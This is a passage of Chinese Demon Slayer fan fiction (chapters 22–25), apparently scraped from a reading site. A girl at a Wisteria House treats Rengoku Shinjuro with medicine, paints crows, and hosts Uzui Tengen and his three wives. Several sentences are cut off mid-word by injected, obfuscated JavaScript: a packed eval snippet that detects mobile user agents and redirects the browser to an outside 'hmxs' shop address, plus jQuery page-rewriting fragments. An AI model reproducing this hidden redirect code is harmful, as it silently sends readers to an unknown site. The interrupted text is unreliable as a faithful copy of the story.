l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962881|192282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 寿奶奶每天都见到她,体感没差多少。像他们距离上一次碰面时隔半年了,乍一见就很明显。 锖兔抬手比划两下,居然比他和义勇还高一点点,明明是同龄人! 他吃下去的饭菜和艰苦锻炼都到哪里去了?! 锖兔露出了受到打击的神情,富冈义勇作为三人中目前最矮的那个,默默把脑袋上的头发捋得蓬松,以增加自己的视觉高度。 藤花月咲:…… 比较完年龄比身高,男生都那么幼稚的吗? “放心啦,这只是暂时的,你们以后会比我高的,”她安慰道,“我现在一天一瓶牛奶,你们路过城镇也可以买来喝。” 她请师兄弟进来喝杯茶,义勇从怀里取出一本书,递过去。 一看,是她上次看的那本推理小说的续作! “之前去浅草看到的,”义勇看着她,“你在信里提到过前作吧?” 藤花月咲惊讶。她现在固定的笔友有主公、悲鸣屿先生、锖兔、富冈义勇和几位女队员,蝴蝶姐妹没有鎹鸦,全靠岩柱当中间人联系,不死川实弥偶尔会用普通的邮递寄信。 其他人多少都会回信,只有义勇从来都不回,她都以为这家伙没收到信呢。 现在看来,宽三郎还是很靠谱的。 “谢谢!”藤花月咲接过小说,好奇地问他怎么不回信。 义勇埋头喝茶:“不知道该写什么……” 他的生活每天都差不多,似乎没什么值得写进信里的。 锖兔放下茶杯,义正言辞:“当然要回信了啊,义勇!否则别人很可能误以为你在任务里牺牲了,是男子汉的话,哪怕躺在床上只有脚趾能动,也要用脚回信!” 富冈义勇恍然大悟:“原来如此。” “……”藤花月咲简直无力吐槽,“倒也不必用脚回信……” 新的任务还没来,至少在晚饭前能够稍微喘息会儿。 由于禁刀令,猎鬼人无法带着日轮刀随意进出旅馆和食店,就算迫不得已也得小心掩藏。 因此在紫藤花之家吃饭,至少在行为举止上能轻松许多。 藤花月咲端上一盘茶馒头给他们垫肚子,“锖兔的呼吸法怎么样了,有新的招式吗?” “嗯,现在有伍之型了,”锖兔挠挠嘴角的疤,“前两个型是师父帮忙取的,后面三个,我不太会取名字。” “毕竟如果以后要收弟子,招式名字很挫的话,也不太好意思说出口吧。”藤花月咲很理解。 他们凑在一块儿正要讨论该怎么取名,突然大门“砰”地被撞开了。 三人脑袋齐刷刷转过去,只见炼狱槙寿郎在门口左顾右盼,发现他们坐在庭院旁,便只穿着里衣露出胸膛、赤脚大步跑来。 师兄弟赶紧起身,把唯一的女孩子护在后面。 锖兔挡住藤花月咲的视线,“在异性面前衣着不整算怎么回事!不要过来啊你这变态大叔!” 义勇咽下嘴里的馒头,举拳表示赞同。 藤花月咲:……咦,骂顶头上司变态,会扣工资吗? 22.第二十二章 炼狱槙寿郎完全没把锖兔和富冈义勇这个年纪的小鬼头放在眼里,冲上前随手扒拉开他们的肩膀,探头急切地问:“瑠火在哪里?她还跟你说了什么?!” 师兄弟没想到这个看起来十分邋遢的大叔竟然力气如此之大,一人仅用一只手臂就被钳制住,两人合力都没挣脱。 看着忽然在眼前放大的脸,藤花月咲下意识往后缩,努力没让表情崩掉——酒臭味实在太重啦! 虽然她能理解炼狱槙寿郎先生想知道更多亡妻遗言的渴望心情,但在梦里,瑠火夫人并没有多言,遗书的内容大概就是全部了。 以瑠火夫人的性子,估计是觉得很多话不便托人转达,想要亲口对丈夫孩子说吧。 “瑠火夫人已先走一步了……啊,她倒是还留了一句话,”藤花月咲想到了,瞅了瞅这位炎柱的脸色,“不过事先说好,您不能生气啊。” 他们只是普普通通的紫藤花之家小杂工和两个庚级队员而已,要是点燃了炎柱的暴脾气,不知会惹来什么麻烦。 “你说!我保证不会!”炼狱槙寿郎双目发红,将所有希望都寄托在眼前这个小姑娘身上。 藤花月咲点点头,拉过师兄弟,跟炼狱槙寿郎拉开一点距离,三人脑袋凑在一起嘀嘀咕咕地密谋什么。 她蹲在地上,低声问:“你们俩,谁的拳头比较厉害?” 义勇毫不犹豫地指向锖兔。 锖兔:“……” “好,那你等会儿这样……”藤花月咲声音压得更低了。 “诶,这样没事吗?”锖兔听完有些意外。 “是他自己说不会生气的,总不能耍赖吧。”她心想,反正事前免责声明过了,如果对方还找茬就写信给主公。 找祖先评理告状! 很快,锖兔就位,站在炎柱面前。 炼狱槙寿郎困惑地转头看她,那一瞬间完全幻视猫头鹰。 藤花月咲请他闭眼,随后示意锖兔可以了。 只见锖兔深呼吸,半蹲放低身体重心,随即羽织拂动、高高地跳了起来! 他在半空中最大弧度地挥舞手臂,一记重拳砸在了顶头上司的侧脸,几乎能听见对方口腔内牙齿碰撞发出的摩擦声。 与此同时,藤花月咲在一旁为其配音,呐喊:“给我振作起来啊,炼狱槙寿郎!” 边上的富冈义勇不知回忆起什么,心有余悸地摸摸自己的脸。 炎柱毫无防备地被揍了一拳,人倒没事,只是脸微微发肿,嘴角出了点血。 可听了那句话后,最先到达的情绪不是狂喜、羞愧、后悔,而是……害怕? 结过婚的都懂! 平常夫妻和睦没有矛盾,可一旦妻子开始喊全名,所有丈夫应该能条件反射般意识到——老婆很生气! 然后走马灯似的飞快在脑内回忆自己干了什么事让她生气,接下来一段时间都得夹着尾巴做人。 藤花月咲从小跟父母住在一起,又在旅馆里看多了形形色色的夫妻,非常明白炼狱先生此刻的心理活动。 惧内与妻管严呗,懂~ “炼狱大人,瑠火夫人希望你能保重身体,她不想太早在那边见到你。”她抬头,看不清对方刘海乱发下的神情。 半晌,炼狱槙寿郎身形晃了晃,往后重重倒在地面,眼睛翻上去,就差口吐白沫了。 义勇瞪大双眼:“锖兔把人打死了。” “只是晕了而已!”锖兔才不背这个锅,“快帮忙把人抬进去!” 三人连忙七手八脚地将人扛进屋内,寿奶奶听到动静过来一看,惊吓不已,“哎呀,这是怎么了?” 藤花月咲讪笑,给炎柱大人留了点面子:“也许是,见鬼了?” 妻子生气,可能比见鬼了还吓人吧…… 至于锖兔知道自己打了现任炎柱一拳,已经是在吃晚饭的时候了。 今晚的主菜是一道酸甜鸡肉,应该是照烧鸡肉的前身,外形和味道都挺相似,十分下饭。 “啊?那个大叔是炎柱?”尽管目前为止还没和柱一起执行过任务,但在锖兔的想象中,柱应该是更靠谱的模样。 “不过实力还是很强的哦,”藤花月咲吃着美味的鸡肉,不由嘴角上扬,“如果不是当时让他闭眼,且太激动了没防备,锖兔你估计打不中炼狱先生的。” 回想起自己被对方单手制服,师兄弟一个猛子扎进碗里,大口大口地吃饭。 想要变强,就得先有更多的肌肉和力量才行! …… 炼狱槙寿郎是在第二天上午醒来的,水呼师兄弟在前一天吃完晚饭便继续踏上杀鬼之路了。 藤花月咲坐在廊檐下看报纸,察觉到脚步声看过去,“炼狱大人您醒了?您的鎹鸦昨晚回宅邸报信了,请令郎们不必担心。早饭已经备好,我这就去端来。” “……等等,”晕倒的样子被人尽收眼底,炼狱槙寿郎很是尴尬,硬着头皮开口,“你真的、见到了瑠火?” “您不信也没什么的。” “不!我相信、相信的。” 炎柱大人在她身旁坐下,目视前方,有些难以启齿,“假如说,我现在想重新开始振作……会不会太晚了?” 藤花月咲:“为什么这么说?” “……瑠火走了后,我干了很多蠢事,任务不好好做,连儿子的教导都扔在脑后,”直到今早,他才彻底从宿醉的状态中清醒过来,“主公、同僚,还有孩子们一定对我很失望……他们或许不会信任我这个没出息的人了吧。” “唔,我觉得主公大人既然没有让您从柱卸任,应该就是一直等待着您振作起来哦,”藤花月咲歪头思考片刻,“虽然我没见过令郎们,可孩子爱父母是本能,哪怕一次次被推开,在完全失望之前,都会期盼着对方的温暖。” “所以炼狱先生,不要纠结于他们曾经的失落,而是要趁现在还有机会挽救,把以往缺失的依靠一次性全补上,直到他们能再次坚定地信赖您!” 她举起双臂作出环抱的动作,建议道,“一回去就给他们一个大大的拥抱,怎么样?” 良久,炼狱槙寿郎起身,下定决心,“好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968347|192282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “对了,有件事想拜托您……”藤花月咲一溜烟儿跑开,取回了一样东西。 —— 数日后,天还没亮,炼狱家宅邸就传来训练声。 “怎么了!杏寿郎你的动作变慢了,这样就不行了吗!”炎柱炼狱槙寿郎亲自上阵操练儿子,单手就挡下后者所有攻击,还时不时戳一下侧腰、打一下膝盖。 “你不是说要继承炎之呼吸吗?还远远不够呢,再加把劲!” 炼狱杏寿郎有些狼狈地接招,因为剧烈运动而满身是汗,却感觉无比畅快,舒出长长一口气,金红色瞳孔紧紧盯着父亲手中的木剑,再次冲了上去。 千寿郎听到院子里的动静,也早早地起来泡茶做饭团,给父亲和哥哥端去。 前些天,父亲衣衫不整地跑出家门,回来后便紧紧抱着他和哥哥不松手。 兄弟俩很疑惑,更奇怪的是,父亲自那以后似乎振作了起来,不仅不抗拒去做任务,还重新开始教导长子炎之呼吸。 千寿郎没有说出口的是,那天的怀抱,让他久违地体会到了父亲的温暖。 如果……如果能再多抱一会儿,就好了。 另一边,父子俩的晨练结束了,用毛巾擦擦汗,吃着千寿郎捏的饭团。 炼狱杏寿郎两口解决一个:“好吃!” “我今天出门一趟,去紫藤花之家,有任务让鎹鸦来找我。”炼狱槙寿郎嘱咐。 “好的,父亲。”千寿郎乖巧回答。 下一刻,他和哥哥一起被父亲展臂抱住,“辛苦你们看家了。” 次子不好意思地脸红了,长子精神满满:“不辛苦!您路上小心!” 走之前,炼狱槙寿郎照例去看了看妻子,斟满了一杯粉红色的酒液,供奉在牌位前。 “居然让戒酒中的人来做这种事……” 他想到紫藤花之家的小姑娘那天取来一壶草莓果酒、说想让瑠火夫人尝一尝她的手艺,无奈地笑了笑。 “不过你应该会喜欢的吧,瑠火。” …… 炼狱槙寿郎为什么要去紫藤花之家? 当然是——给藤花月咲当小白鼠! 炎柱说想感谢她,特地让鎹鸦来问需要些什么。 藤花月咲寻摸一圈,觉得自己别的不缺,就缺一个用来练习针灸的病人。 于是,炼狱槙寿郎先生光荣上岗,成为了继她本人、寿奶奶后,第三个被扎针的人! 不仅是被扎针,她上手后发现对方不光是肝劳,还有一些陈年旧伤和小毛病,想着别等以后了,都给解决掉。 ——主要是一时半会儿也抓不到别人了。 炎柱大人在经历了喝药、扎针、正骨、推拿、敷药等一系列操作后,突然有点后悔。 难道这是对他迟来的惩罚?? 但每逢有空的时候,他还是坚强地过来接受治疗,毕竟疗效显著。 顺便带来了主公托他转交的货物,和炼狱家历代炎柱在各地收集的医书。 藤花月咲打开货物箱子一看—— 23.第二十三章 “哇,好多药材!” 货箱一打开,里面全是分类好的药材,包括人参、甘草、当归、黄芪、半夏、黄连、陈皮、茯苓等等。 大多为原药材,只有少许是炮制过的,保存得十分完好,不仅未出现霉斑和虫蛀,每一样的药香都很浓郁。 嗅着这略带苦味的香气,让藤花月咲感觉仿佛回到了以前的学生时光,露出了怀念的神情。 “主公大人听闻你在自学医术,特地让我送来的。” 由于刚与主公会过面,炼狱槙寿郎把胡茬剃干净了,穿戴既整齐又正式,看起来清爽年轻了几分,现在瞧着才有柱的架势。 他拍了拍另一个刷了红漆的檀木箱子,“这些是炼狱家历代收集的医书,反正放在家里也是吃灰受潮,你拿去看吧。” 藤花月咲确实很想了解这时候的汉方医学,见他表情语气不似作假,便欣然接受了,“谢谢炼狱先生。” 炎柱一人就把箱子一次性搬进屋内,藤花月咲仔细收纳进防潮防虫的唐柜,又在角落放置了装有备长炭碎块的小布包,可以吸湿除味,是这个时代最高级的天然干燥剂。 她绑好和服宽袖,利落地忙上忙下。炼狱槙寿郎作为外行不懂怎么分类,在一旁偶尔搭把手。 他看着少女雀跃地忙碌着,想到了与主公大人会面时的场景。 现任主公,产屋敷耀哉于4岁那年继任家主之位,如今也仅16岁,身形还是个单薄的少年,却已背负家族诅咒、统帅鬼杀队的众人。 自从妻子三四年前病逝后,炼狱槙寿郎便时常缺席半年一度的柱合会议,哪怕人去了也是浑浑噩噩,什么也听不进、记不住。 因此这回会面,他猛然察觉到,主公大人与眼前少女的相似之处。 不论是那令人如沐春风般的特殊声线,还是能看破人心、总是说出他人期望话语的能力,抑或是,据说产屋敷一族拥有预言的能力,而主公妻子天音大人的娘家神篱一族代代担任神官之职。 二人的样貌并不算相像,性格一个偏稳重成熟,一个则更活泼些。 可待在他们身边,焦躁的内心就能得到缓解安抚,汲取到强大的精神力量。 炼狱槙寿郎向主公汇报了在紫藤花之家发生的事,对方似乎早就知晓,轻笑一声,托他带来已经备好的、让少女欣喜不已的大量药材。 这样的隔空相处与互动,不像是年龄相仿的少年少女之间会有的,更倾向于……长辈和晚辈? 毕竟是主公大人的家事,炼狱槙寿郎不打算深究。 不一会儿,藤花月咲把药材收好了,颇有成就感地望着满满一柜子,转向她的“御用病人”:“恰巧主公送来了那么多药材,我们今天换个新药方吧,炼狱先生!” 好多药方她之前想试却苦于没原料的问题,这下终于解决了。 炼狱槙寿郎:“……” 他这几年的混账,终究会返还到自己身上的,是吧? 果然,新药方在熬制的时候就有一股浓烈的腥涩味,稍微放凉些后喝一口,炎柱大人嘴角抽搐,差点没吐出来。 为了维持形象,他鼓起勇气一饮而尽,但想到接下来还要喝几天药,实在没忍住问:“这个药……是都这么难喝吗?” “啊,炼狱先生觉得不适口的话,我可以调整味道,让它没那么苦哦,”藤花月咲笑吟吟地望着对方逞强,端上了早就备好的一碟饴糖,“请含着这个吧。” 语气像是面对不肯喝药的小孩子。 炼狱槙寿郎老脸一红,不过还是拿了颗饴糖,“你是故意的?” “我只是想知道柱能接受的最大苦味而已,”藤花月咲在小本上记录,“很宝贵的经验呢。” 炎柱带着改良后的几剂药材和熬制方法走了,顺路买了杏寿郎爱吃的点心红薯羊羹回去,把喝了苦药的幽怨全部注入了对长子的操练当中。 听着庭院那头激烈的动静,千寿郎熬好新一盅药,来到母亲牌位前,在盛了粉红色酒液的杯子旁又奉上一小碗药。 “母亲大人,父亲和哥哥在努力呢,您看到了吗?” —— 接下来一段时间,藤花月咲在空闲之余,全身心投入到了药材的炮制工作中。 炮制不仅能延长药材的贮存期限,还能降低毒性、增强疗效、缓和药性,是非常重要的一个步骤,最常用的就是火制。 抽空也会看炼狱先生借给她的医书,最久远的竟然能追溯到平安时代,至今基本保存完好。 她摸了摸,用的是几乎纯纤维的楮纸,寿命可达千年,让遥远的文字得以延续。 藤花月咲决定从历史最久的那本开始看,并不执拗于从中学习到什么重要知识,每晚睡前,或是守夜时翻一番,权当古早读物了。 别说,有些医书是以游记的形式记载的,像是读了一本有趣的小说,而且不需要追连载! 她看得津津有味。 到了八月,炮制工作差不多完成,寿奶奶带她去买了生日礼物。 藤花月咲不在意是否过生日,再加上这个时代绝大多数平民是不过生日的,她便也没有大张旗鼓。 寿奶奶会知道,是因为带藤花月咲去户籍登记的时候,看到了她填的出生日期。 她们去年秋天才有空乘马车到区役所登记户籍,那时已经错过。 寿奶奶没说,但默默记在了心里。 老人家的好意,藤花月咲并未推辞,可她的确没有特别想要的东西。 ——也不是没有,她很想念未来的快餐炸鸡、薯片等垃圾食品,还想看漫画、打游戏、唱卡拉OK。 但这些目前都实现不了啊! 两人在街面上逛了逛,路过一所女子高级中学,里面许多穿着和服裤裙、梳着辫子的女生漫步着,校门外有家绘具店。 藤花月咲进店挑选一番,买了画纸画笔和一盒水干绘具。后者是将颜料染在优质土粉上,制成的颗粒或小块,需要使用时加水调胶,是一种传统颜彩。 在与曾曾外祖母杭奈为数不多的相处中,她记得自己小时候曾被教导画画,并且对方水平很高,似乎时常与当时有名的画家进行交流。 当然,藤花月咲自己水平一般,曾曾外祖母用的颜彩还是高级岩绘具,高级色价格堪比黄金。 这家绘具店的质量不错,但面向学生群体,商品都比较平价,一盒10色的水干绘具是30钱。 寿奶奶付了钱,问她还有没有喜欢的,要不要买一件新和服。 “这个就足够啦~”藤花月咲俯身抱住寿奶奶,“谢谢奶奶!” 她真的很幸运 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979262|192282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 重拾起绘画的爱好,藤花月咲时不时便抱着画板,坐在庭院里寻找能画的事物。 一开始是那棵巨大的紫藤花树,随后被鎹鸦们注意到了,争先恐后地要求她给它们绘制肖像。有只想要插队,被群体围攻啄掉好几根羽毛。 藤花月咲倒是挺乐意的,每只鎹鸦长得都有细微区别,可以练习抓神态细节。 就是黑色颜彩用得太快,她不得不去补了两次货。 “你们为什么想要自己的肖像啊?”她边画边问,让鎹鸦不要乱动。 得到的答案是,它们想把画带给主公大人,希望能留下印象,等需要传令的时候可以派得上用场。 藤花月咲:……咦,鬼杀队连乌鸦都那么上进,想要有机会露脸吗? 惊讶的同时,她给每张肖像旁边写好鎹鸦们的名字,绑到鸟腿上。 算一算时间,把炉子上的药盅挪开,过滤药渣,给负伤的队员们端过去。 屋内顿时叹气声此起彼伏。 药汤实在太苦啦,即便月咲妹妹说改良过,可加了黄连的药,再怎么改良也很难喝啊。 少女还要端坐在一旁浅笑着旁观,确保每人都趁热喝完药,才一人发一颗饴糖离开。 被她那双眼眸这么注视着,队员们真的不好意思说药苦呀。 看向栖息在庭院紫藤花树上的鎹鸦,藤花月咲端着碗,想起锖兔说过,他们在成为正式队员后、出任务前,都会留下遗书。 很多队员已经没有能够托付遗书的家人,可他们仍然想在世间留下只言片语,等待某天有人会拆开,去了解一个已故之人简短的一生。 那个拆开的人,或许是他们的朋友,或许只有一面之缘,也可能是个素昧平生的陌生人。 但在看到另一个人的遗言时,他们之间便有了无形的联系,让这份寄托流传下去,直至成为永恒。 藤花月咲垂眸,忽然也想为他们留下些什么。 当晚,鎹鸦携信飞往产屋敷宅邸。 产屋敷耀哉读完信,抚摸着鎹鸦的羽毛,微笑道:“很好的提议。” —— 日子在干活、看医书、熬药、画画中很快过去。 深秋到来,每天光是扫庭院的树叶都要花费藤花月咲好长时间。 一天,紫藤花之家没有猎鬼人拜访,她和寿奶奶早早睡下了。 半夜,藤花月咲突然惊醒。 她感受着一旁寿奶奶的呼吸声,周围十分安静,连虫鸣跟鸟叫都没有,也没什么风声。 但她就是莫名觉得,有人进入了宅邸。 按理说队员们深夜上门,鎹鸦都会提前来通知的,好做准备迎接。 眼下这情况,难道……进贼了?! 没听到脚步声,也没有危险的直觉,不过藤花月咲瞄了眼寿奶奶在黑暗中的身影轮廓,轻手轻脚起身出了卧房。 赤脚走在擦干净的走廊,她抄起一个空花瓶……又放下,这个花瓶是寿奶奶喜欢的,不能打破。 她换了一把椅子作防身武器,伸手,一点点推开通往庭院的木门,探过去,单眼朝外看。 外面漆黑一片,但好像没看到什么人……! 刚想着没看到人,一张倒着的脸猝不及防怼了上来,“哟,居然被发现了。” 24.第二十四章 被猝然贴上来的脸惊得瞳孔收缩,藤花月咲身体本能地砸出一拳。 挥空了。 作用力令她往前倾倒,一个踉跄稳住身形,扶住木制拉门,立刻左右张望。 庭院里什么都没有,最后一抬头,那个人竟然是像蝙蝠似的倒挂在屋檐下! “真是慢吞吞又软绵绵的拳头啊,”对方明明十分高大,落地时却毫无声息,单手两根手指并拢对准她,“不过能察觉到我们,还算有点华丽。” 藤花月咲夜视能力不错,这会儿也适应了黑暗环境,同时反应过来,这样的口吻不太像是盗贼。 定睛一看,发现对方身上穿的似乎是修改过的鬼杀队队服。不仅袖子被裁剪掉了,露出的精壮手臂上还戴了左右两个金属臂环。 昏暗中看不太清面容,但银白短发在月光下流淌着斑斓的色彩,格外美丽。 是个光看外表就超有个性的家伙。 “咳,您是猎鬼人吧,刚才冒犯了,请进。”虽然初见就差点动了手,藤花月咲依旧保持了职业素养,很快镇定下来露出笑容。 ……诶,他刚才说的是“我们”吧? 她话音刚落,屋檐上又咻咻咻落地三个人,全都是女性,没有穿队服,但他们应该是一起的。 藤花月咲将四人领进宅邸,本想按照男女分房间,那位名为“宇髓天元”的猎鬼人摆摆手,“不用费那个工夫,一间就够了。” 她眨眨眼,没有探究这几人之间的关系,带路到一间比较宽敞的屋子,点燃四角的纸罩油灯,搬出被褥和干净的浴衣。 灯光映照出几人的样子。三位女性是不同风格的美人,可穿着服饰与众不同,和普通人不太一样。 而宇随天元,自改队服已经很显眼了,仔细一看相当俊美,手上涂了红绿两种颜色的指甲油,左眼化了个夸张的妆容,甚至固定头发的护额都嵌着大颗钻石。 整个人都自带闪闪发光的特效,超级张扬。 “浴室有备热水,请泡个澡放松一下。” 藤花月咲引男人前往浴室,三位女性留下来帮忙铺床。 见少女回来时端着茶壶和点心,名为“雏鹤”的黑发马尾美人连忙上前接过托盘,略带歉意地笑了笑,“麻烦你了。” “不麻烦,这是我的工作,”藤花月咲刚才顺路去给寿奶奶报备了,并让后者安心睡下,这边有她守着,“有受伤吗?肚子饿不饿?” “就是一些划伤,抹过药了,不用大惊小怪。”束着黑发、刘海是金色的牧绪小姐,满不在意地盘腿坐着,拿了一块萩饼吃。 那位披散黑发的须磨小姐早就一手萩饼一手铜锣烧地大口咀嚼,“真好吃!我的肚子快饿扁啦!” 结果她嘴里的食物残渣喷到了牧绪脸上,后者顿时黑脸,两人打闹起来。 “抱歉,她们一直是这样的。”雏鹤想去劝架,手边被递了一杯热乎乎的绿茶。 藤花月咲安抚她:“没事,今晚只有你们留宿,声音大些也无妨。”她和寿奶奶的卧房在另一侧,听不到这边动静的。 比起这个,她更好奇的是,“既然来了,怎么不让鎹鸦通知,或者敲门,我们都能听见呀?” 偏偏无声无息地进来,很容易让人误会的。 “天元大人说你们都熄了灯,应该是睡了,我们又不是什么大人物,没必要特地喊人起来伺候。”雏鹤轻笑,细眉杏眼,眼角的那颗痣显得别有风情。 “诶,那你们难道打算在屋顶上凑合一晚?”想到他们是从屋檐从天而降的,藤花月咲觉得自己猜到了真相。 果然,“能在屋顶安心地睡一晚已经很不错了呀。” 藤花月咲:? 等等,这似乎有些超出常理了。 究竟是在怎样的环境下长大,才会认为睡屋顶很不错? 面前的女性看着比自己稍大一点,但也就15岁左右,另外二位则年纪与她相仿。 可她们对于常理的认知貌似有所偏差,像是从小专门受到某一类极端教育影响,从而导致的认知缺失。 再细究下去就是别人的隐私了,藤花月咲并未追问,浅笑:“夏天的时候,坐在屋顶上吹夜风很凉快很舒服呢,而且大片的星空非常漂亮。我小时候也爬上过屋顶睡觉,一睁眼就能看到星星,结果家里大人找了半天,发现之后生怕我摔下去,把我狠狠骂了一顿。” “所以,我曾经一直特别羡慕能上屋顶的人,”她用温热的掌心轻抚对方裸.露在外的手臂,“啊,不过现在天气变凉了,最好还是多披一件外衣哦。” 雏鹤想说,他们在屋顶休息并不是为了欣赏风景,而是长年累月的训练和任务让身体习惯了颠沛流离、随地小憩。 时刻处于厮杀紧绷状态的忍者,是没有心情抬头瞭望天空和星星的。 可意识到如今已经逃离了忍者村落,不必再骨肉相残、无谓死亡,雏鹤又觉得,对方的提议很好。 下次,她也可以站在屋顶上,尽情而又肆意地享受一整片夜空了。 雏鹤轻轻应了一声。 木门被推开,宇髓天元换上浴衣冒着热气,用毛巾擦拭披散的湿发,脸上的妆容也卸掉了,素颜更是相貌堂堂。 “喂,你们三个也快点去,等会儿水要冷掉了。”他语气随意地赶人去洗澡。 等三人抱着浴衣出门,他找了个地方盘腿坐下,单手撑着侧脸,看向一旁的少女,“那么,你跟我华丽的老婆们聊了些什么?” 四人的关系在藤花月咲预料之中。 虽然十年前便开始施行“一夫一妻制”的法律,但社会观念的改变总是慢于法律传播,因此这种情形在有钱有势的人家屡见不鲜,一些偏远地方也保留着一夫多妻的习俗,而妾和私生子的身份不被律法所承认。 藤花月咲不理解,但选择尊重。 “在说这个天气在外面睡会着凉,我们的房间很暖和,被褥也经常晾晒,应该比屋顶要舒服,”她起身倒了杯茶,“我再去拿点饭团来吧。” “不用,”宇髓天元捡起碟子里剩下的、被须磨咬了一口的铜锣烧,“这个就够了。” 藤花月咲看着他。尽管对方打扮张扬、举止夸张,口头禅又是“华丽”,却意外地体贴,还不浪费食物。 男人两口吃掉铜锣烧,挑眉,“说说看吧,你是怎么发现我们的?有脚步声?” “完全没有,我只是……直觉比较强。”她实话实说。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987290|192282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “哦——” 忽然,坐在榻榻米上的男人消失了。 藤花月咲下意识后退,视线环顾房间寻找对方的踪迹,却仅能捕捉到其中几个残影,每当她看过去时,对方的身影便咻地隐匿。 速度好快! “看来没什么身手呢。”对方的嗓音如同鬼魅般在耳后响起。 她蓦地转身,身后只有木门,空无一人。 “嗯,绿茶很好喝,”不知何时,宇髓天元坐回了原位,将温茶一饮而尽,“不好意思,我以前是忍者,对这方面比较敏感。” 尤其是刚叛逃出村子时,看谁都像来暗杀他们的族人。 忍者! 藤花月咲只在时代剧和动漫里看到过忍者,第一次遇见活的! 原来如此,这样一来,他们略显怪异的举止穿着就说得通了。 藤花月咲其实很想知道忍者会什么本事,比如刚才的瞬移。连鬼和呼吸法都存在,忍者会影分身和搓螺旋丸也不是不可能吧! 但她克制住了自己的好奇心,退了出去,“无碍,我就在隔壁房间,若是有需要随时叫我就行,晚安。” 来到隔壁,藤花月咲紧贴那边房间的墙壁铺开被褥,准备了一壶茶热在小炉子上,还有一碟海苔煎饼、几本书。 守夜是件辛苦的事,总不能亏待了自己。 她靠在墙上,下半身缩在被窝里,翻起了医书,时不时耳朵贴过去静静地听。 木结构的墙壁很薄,按理说足够安静的话,甚至连睡梦中的鼾声也可以传过来。 但四人不愧是忍者,不仅走路没有声音,睡觉的呼吸声都几乎听不见,让人怀疑隔壁是不是间空房。 藤花月咲无声地打了个哈欠,脑袋搁在墙上闭目养神,陷入了浅睡眠。 不知过了多久,隔壁传来很低的一声话语,令她瞬间清醒过来。 她没听到那句话的内容,可随即又感觉到一些动静,怎么说呢……像扭打在一块儿打群架。 但隔壁四人是夫妻啊。 她要是这个时候进去,万一打扰了怎么办? 藤花月咲罕见地进退两难,纠结了一会儿,忽然听到隐隐约约的啜泣声。 是属于雏鹤的温柔声线,此刻却浸满了悲伤,泣不成声。 她立刻来到隔壁房间前,先提醒一声,“失礼了!” 缓缓推开一点门,藤花月咲探身看去—— 宇髓天元被老婆们围在中间,但并不是传统意义上的左拥右抱。 须磨从背后边勒住他的脖子,边狂咬他脑袋;牧绪在正前方用双拳殴打他的胸口,嘴里念念有词;雏鹤跪坐在一旁,垂头抹泪。 而宇髓天元本人被前后夹击,翻白眼透不过气,有点微死了。 藤花月咲:……? 跟她想象的画面不太一样。 难道这就是夫妻间的情趣吗? 考虑到忍者的思维模式异于常人,也许打是亲、骂是爱,这是他们培养夫妻感情的一种特殊方式? 藤花月咲停止了思考。 半晌,她又缓缓合上门,“失礼了。” 尽管是同一句话,但开门和关门时的语气,天上地下。 25.第二十五章 合上门,藤花月咲估摸了下时间,转身去厨房捣鼓一番,提了个竹篮快步返回,在门外静候片刻。 房间里的动静逐渐平息,木门被推开。 是雏鹤。 她浓密的黑发在睡前散落,眼尾泛红,说话还带着一点哭腔鼻音,强颜欢笑:“抱歉,吓到你了。” “发生什么了吗?”藤花月咲取出一块毛巾,是用放冷了的绿茶茶水浸泡过的,其中富含的单宁酸具有消肿作用。 不冷敷一下的话,那么漂亮的眼睛明早一定会浮肿起来,好可惜。 凉丝丝的触感轻柔地覆上眼角,雏鹤被冰了一下,微微睁圆杏眼,有些不好意思地移开目光。 透过空隙,藤花月咲看到房间里,牧绪和须磨终于放过了宇髓天元,前者气呼呼地抱臂对着墙壁,后者埋在丈夫后背哭泣。 须磨的年纪最小,嚎啕大哭起来完全是小孩子模样,“啊呜呜呜……为什么要这么说嘛?!总是说自己会下地狱什么的,我不想和天元大人分开啊!” “我们早就离开忍村加入鬼杀队了,还老是讲这种丧气话,”牧绪的后脑勺都充斥着怒气,头发炸毛,“天元大人是大笨蛋!” 被斥责的宇髓天元垂脸扶额,无言抬手,拍拍须磨的脑袋,有种知道自己说错了话的无措。 他是真心觉得自己会下地狱的。 哪怕那时是父亲故意引导骨肉残杀,他丝毫不知情,可杀死亲生兄弟的事实无时不刻在绞杀他,令他在无形之中窒息。 宇髓天元忘记不了杀死他们那瞬间,利刃割开皮肉的不适感,简直反胃得快要吐出来。 